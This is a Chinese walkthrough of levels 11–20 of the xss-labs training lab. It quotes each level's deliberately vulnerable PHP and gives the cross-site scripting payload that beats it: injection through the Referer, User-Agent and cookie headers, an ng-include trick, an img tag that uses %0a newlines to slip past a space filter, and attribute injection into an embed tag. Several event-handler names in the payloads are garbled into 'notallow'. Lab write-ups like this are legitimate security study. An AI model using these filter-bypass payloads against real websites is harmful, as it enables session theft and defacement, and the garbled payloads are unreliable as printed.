Pass11【HTTP请求头1】

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

xss-labs 11-20关超级详细的WP_xss

利用referer请求头传上一关的payload即可

Pass12【HTTP请求头2】

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

差不多,就是换了个请求头

xss-labs 11-20关超级详细的WP_xss_02

Pass13【cookie传参】

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

payload还是Pass10的,改一下cookie即可

xss-labs 11-20关超级详细的WP_xss_03

Pass14【exif】

链接失效了,找机会自己复现一下

Pass15【ng-include包含漏洞】

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include可以包含一个文件或是html页面,意思就是我们可以利用src包含一个存在xss的页面。

但是要记住格式

class="ng-include:'a.php'"
class='ng-include:"a.php"'

1.ng-include,如果单纯指定地址,必须要加引号

2.ng-include,加载外部html,script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别

选一个Pass构造,但是因为被单引号包裹,所以该Pass的构造里不能含有单引号

?src='level4.php?keyword=ag" notallow="alert(/xss/)'

这里虽然有htmlspecialchars,但是并不影响。

本人见解:在Pass15这个页面上,虽然我们看到对于Pass4页面的GET参数已经被实体化

xss-labs 11-20关超级详细的WP_xss_04

但是这个请求会被发送到后端,这时这些实体就又变成以前的字符。而后端处理完请求,就把页面返回了,这个页面是一个整体,GET参数已经被实现了。

小问题

这里虽然有htmlspecialchars,但是并不影响。

这里引申出了htmlspecialchars的编码的有效域

还有ng-include包含文件的运作机制

Pass16【img标签+%0a换行】

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("    "," ",$str4);
echo "<center>".$str5."</center>";
?>

利用img标签,但发现还过滤了空格,所以用%0a【换行】。

在HTML中可以将%0a或者%0D当成空格使用。

<img%0asrc=1%0anotallow=alert('xss')>

Pass17【参数】

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

可以给embed标签加属性

?arg01= onmouseover&arg02=alert(/xss/)

<embed src=xsf01.swf? notallow=alert(/xss/) width=100% heigth=100%>

Pass18【参数2】

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

这不和Pass17一样吗。。。可能是swf文件有差别,但是目前还有些懵。

Pass19【Flash XSS】

大佬文章[1]

Pass20【Flash XSS(偏代码审计)】

大佬文章[2]

References

[1] 大佬文章: https://blog.csdn.net/u014029795/article/details/103213877
[2] 大佬文章: https://blog.csdn.net/u014029795/article/details/103217680